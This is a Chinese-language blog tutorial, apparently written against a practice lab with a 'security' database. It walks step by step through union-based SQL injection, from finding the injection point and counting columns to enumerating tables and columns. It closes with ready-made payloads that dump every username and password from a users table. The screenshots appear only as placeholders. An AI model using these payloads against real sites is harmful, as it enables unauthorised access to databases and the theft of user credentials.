SQL注入

在使用中,例如如下页面,找到它所有的用户名和密码
在这里插入图片描述
首先找到SQL注入点,通过使用id=1’ and 1=2来判断,其中的’可用’或),}等替换 。
错误结果举例:

在这里插入图片描述
正确结果:此时welcome下面是没有输出的

在这里插入图片描述
通过上面两幅图我们可以知道,闭合方式为id=1‘
接下来通过order by来判断列数
在这里插入图片描述
在这里插入图片描述
![在这里插入图片描述](https://img-blog.csdnimg.cn/20190907215535533.png
在这里插入图片描述
当我们假设它的列是2或3时,均正确,当假设列为4时,输出错误,所以列数为3
再使用database()找到库的名字将select 1,2,database()和下面的结果对比,只显示后两位,所以输入select 1,database(),3也是一样的,只需要注意列数时3,若输入select 1,2,3,database()就会错误,另外需要注意的是?id=-1’ ,若为1就会从第一行开始输出,无法看到我们输入的2和database,
在这里插入图片描述

在这里插入图片描述
上面是id=1’时的输出,可见我们并不能看到2和database(),并且我们也从第一张图中看到库名为security
再从库中找的表名
Select 1,2,group_concat(table_name) from information_schema.tables where table_schema=’security’–+

在这里插入图片描述
再在表下输出所有列名
?id=-1’ union all Select 1,2,group_concat(column_name) from information_schema.columns where table_name=‘users’and table_schema=‘security’–+
在这里插入图片描述
可知三列的名字为id,username,password,最后一步,找出所有的用户名和密码
?id=-1’ union all Select 1,group_concat(username),group_concat(password) from security.users–+

在这里插入图片描述
注:group_concat()函数的作用是输出括号里变量的所有值
–+的意思就是# 注释的意思,理解不来也没关系,只需每次在句子末尾加上就行

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值